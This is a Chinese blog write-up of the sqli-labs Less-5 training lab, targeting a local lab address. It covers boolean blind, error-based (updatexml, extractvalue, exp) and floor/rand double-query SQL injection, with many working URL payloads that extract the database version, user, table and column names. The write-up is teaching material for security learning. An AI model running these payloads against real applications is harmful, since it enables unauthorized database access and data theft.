sqli-labs之Less-5
涂寐 Lv5

声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
本文首发于 涂寐’s Blogshttps://0xtlu.github.io/article/11b00349.html

0x00 常规操作

如下第一个语句,id值直到为13后,仅显示欢迎。
老老实实添入单引号,报错'1'' LIMIT 0,1
嗯,id带入数据库,字符型,先猜字段数吧,不可能变的,3个字段
还是试试老套路,打死就是输出You are in...........,确定是盲注。

1
2
3
4
5
6
http://192.168.184.129:49160/Less-5/?id=13
http://192.168.184.129:49160/Less-5/?id=13'
# 猜字段数
http://192.168.184.129:49160/Less-5/?id=1' order by 4 %23
# 真没注意这个可以用作猜字段,UNION 连接时,SELECT关键字中字段个数不对直接报错
http://192.168.184.129:49160/Less-5/?id=1' union select 1,6,5,3 %23

image

0x01 Boolean 注入

AND命令与WHERE一起使用,若AND关键字两边成立,则显示正确提示,如此处为You are in………..,反之为空
这下面两条语句……建议写工具爆破猜想:
比如第一条语句的构造,字符字典需涵括大小字母、数字、点、杠、@等;
第二条语句是测用户名长度则需要数字就好;举例root@localhost,至少14位,保险起见还是从0开始爆破。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 爆破语句构造,修改数字3和等号后的字符5,能单个猜想
http://192.168.184.129:49160/Less-5/?id=1' AND SUBSTR(VERSION(),3,1)='5' %23
# 猜想数据库名的第2个字符是否为字符e,若是则成立,显示You are in...........
http://192.168.184.129:49160/Less-5/?id=1' AND MID(DATABASE(),2,1)='e' %23
http://192.168.184.129:49160/Less-5/?id=1' AND SUBSTR(DATABASE(),2,1)='e' %23
http://192.168.184.129:49160/Less-5/?id=1' AND SUBSTRING(DATABASE(),2,1)='e' %23
# 单个字符转ASCII码,直接改变数值2和101,如2位于外循环,101位于内循环,最后对照ASCII表,或使用CHAR()方法
http://192.168.184.129:49154/Less-5/?id=1' AND ORD(MID(DATABASE(),2,1))=101 %23
# 猜想到用户名
http://192.168.184.129:49160/Less-5/?id=1' AND LEFT(USER(),4)='root' %23
# 猜想到sql版本
http://192.168.184.129:49160/Less-5/?id=1' AND LEFT(VERSION(),1)='5' %23
# 测长度,直接爆破数字就好,测当前用户名长度
http://192.168.184.129:49160/Less-5/?id=1' AND LENGTH(USER())=14 %23
# 测数据库名长度,方便之后的爆破,
http://192.168.184.129:49154/Less-5/?id=1' AND LENGTH(DATABASE())>=8 %23
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 获取字符串str左边len个字符
LEFT(str,len)
# 从pos位序开始截取字符串str的len个字符
MID(str,pos,len)
# 从pos位序开始截取字符串str的len个字符
SUBSTR(str FROM pos FOR len)
# 从pos位序开始截取字符串str的len个字符
SUBSTRING(str FROM pos FOR len)
# 获取字符串str的长度
LENGTH(str)
# 返回字符串str的最左面字符的ASCII代码值
ASCII(str)
# 如果str最左边的字符是一个多字节字符,则返回多字节字符代码;反之,则返回与ASCII()函数返回的相同值
ORD(str)
# 根据ASCII表中的十进制int,转换为相应的字符
CHAR(int)

image

0x02 报错注入

AND 关键字猜想,有点狠,得慢慢爆破猜想。
既然语法错误信息还是会返回前端的,那肯定得试一把报错注入。

1
2
3
4
5
6
7
updatexml():mysql对xml文档数据进行查询和修改的xpath函数

extractvalue():mysql对xml文档数据进行查询的xpath函数

floor():mysql中用来取整的函数

exp():此函数返回e(自然对数的底)指数X的幂值
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# updatexml()--最长输出32位且返回类型不为xml格式方有效
# UPDATEXML(XML_document, XPath_string, new_value)
# mysql对xml文档数据进行查询和修改的xpath函数
# 当参数2为不满足 XPath 格式的字符串时,则在数据库中执行该语句时将返回参数2
# 若参数2中含有SQL语句,则返回的是参数2SQL语句执行后的结果
http://192.168.184.129:49154/Less-5/?id=1' or updatexml(1,concat(0x7e,(concat_ws(';',user(),version())),0x7e),0) or '
http://192.168.184.129:49154/Less-5/?id=1' or updatexml(1,concat(0x7e,(MID(concat_ws(';',user(),version(),database()),15,32)),0x7e),0) or '


# extractvalue()--输出限制32位字符
# EXTRACTVALUE(XML_document, XPath_string)
# mysql对xml文档数据进行查询的xpath函数
# 当参数2为不满足 XPath 格式的字符串时,则在数据库中执行该语句时将返回参数2
# 若参数2中含有SQL语句,则返回的是参数2SQL语句执行后的结果
http://192.168.184.129:49154/Less-5/?id=1' or extractvalue(1,(CONCAT('~',DATABASE(),'~'))) or '
http://192.168.184.129:49154/Less-5/?id=1' or extractvalue(1,(SELECT GROUP_CONCAT('~',TABLE_NAME,'~') FROM information_schema.TABLES WHERE TABLE_SCHEMA = database())) or '


# exp()--此函数支持较长报错输出
# EXP(X)
# 此函数返回e(自然对数的底)到X次方的值
# 当参数x大于709时,EXP(x)引发溢出错误
# 又,0按位取反得:18446744073709551615,加之函数成功执行时返回值为0
# 函数执行成功返回值取反后与EXP()函数结合构成一处错误,则整个EXP()伴随报错显示出来
# SELECT EXP(~(SELECT DATABASE()))
# SELECT DATABASE() 成功执行返回0,取反后作为EXP()的参数,大于709造成溢出错误,报错:> DOUBLE value is out of range in 'exp(~(database()))'
http://192.168.184.129:49154/Less-5/?id=1' UNION SELECT 1,1,EXP(~(SELECT * FROM (SELECT GROUP_CONCAT(column_name) FROM information_schema.COLUMNS)x))%23
http://192.168.184.129:49154/Less-5/?id=1' OR EXP(~(SELECT * FROM (SELECT GROUP_CONCAT(column_name) FROM information_schema.COLUMNS WHERE table_name='uagents')x))%23

image

0x03 二次查询注入

看题目可知,该题实际考验二次查询注入。
如下文,笔者的理解为:通过子句将恶意代码存入数据库临时表,再从临时表中进行查找。
注:需满足 CONT()、GROUP BY、FLOOR()、RAND() 方可构成注入条件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# floor()--输出限制64位字符
# FLOOR(X)
# mysql中用来取整的函数
# 0 <= RAND() < 1
# GROUP BY 语句:根据一个或多个列对结果集进行分组
# COUNT() 函数:返回匹配指定条件的行数
# !!!主要利用:查询中 ORDER BYGROUP BY 子句含 RAND() 时,
# RAND() 会对同一记录重复求值,且返回不同结果。
# !!!举例:SELECT COUNT(*) FROM users GROUP BY FLOOR(RAND(0)*2);
# 执行子句 FLOOR(RAND(0)*2) 时,需将其值与临时表中主键比对是否重复,
# 不重复则多执行一次 FLOOR(RAND(0)*2) 并将其值插入临时表,反之则个数叠加,
# 由于 FLOOR(RAND(0)*2) 多次执行生成的随机值为 011011001110111
# 也就因为 RAND() 的存在,
# FLOOR(RAND(0)*2) 得值与虚拟表比对时和临时表插入 FLOOR(RAND(0)*2) 得值极大概率不同,
# 若比对值与已存在主键相同,插入值与已存在主键相同,再次得插入将造成主键冲突,造成报错
# !!!假设,临时表中仅含有主键1,再次查询记录时若执行 FLOOR(RAND(0)*2) 得值为0
# 比对知临时表中不存在主键0;若再次执行 FLOOR(RAND(0)*2) 得值1
# 将1插入临时表时发现临时表已存在主键1,由于主键1重复插入将报错:
# > 1062 - Duplicate entry '1' for key 'group_key'
# !!!理解链接:
# https://www.2cto.com/article/201604/498394.html
# https://bugs.mysql.com/bug.php?id=82544
# !!!在上面语句中可知,报错是来自 GROUP BY 子句中的 FLOOR(RAND(0)*2) 为1
# 故需要将 FLOOR(RAND(0)*2) 和 payload 使用 CONCAT_WS() 函数进行连接组合,才能成功获得所需
http://192.168.184.129:49154/Less-5/?id=1' UNION SELECT count(*),1,1 FROM users GROUP BY CONCAT_WS(':',FLOOR(RAND(0)*2),(select database()))%23
http://192.168.184.129:49154/Less-5/?id=1' UNION SELECT count(*),1,CONCAT_WS(':',(SELECT database()),FLOOR(RAND(0)*2)) AS x FROM users GROUP BY x;%23
http://192.168.184.129:49154/Less-5/?id=1' AND (SELECT 1 FROM (SELECT count(*),CONCAT(VERSION(),FLOOR(RAND(0)*2)) AS x FROM information_schema.COLUMNS GROUP BY x) AS y)%23
http://192.168.184.129:49154/Less-5/?id=1' AND (SELECT 1 FROM (SELECT count(*),CONCAT((SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'security' LIMIT 0,1),FLOOR(RAND(0)*2)) AS x FROM information_schema.COLUMNS GROUP BY x) AS y)%23
http://192.168.184.129:49154/Less-5/?id=1' OR (SELECT 1 FROM (SELECT count(*),CONCAT_WS(':',(SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'security' LIMIT 2,1),FLOOR(RAND(0)*2)) AS x FROM information_schema.COLUMNS GROUP BY x) AS y)%23

image

 评论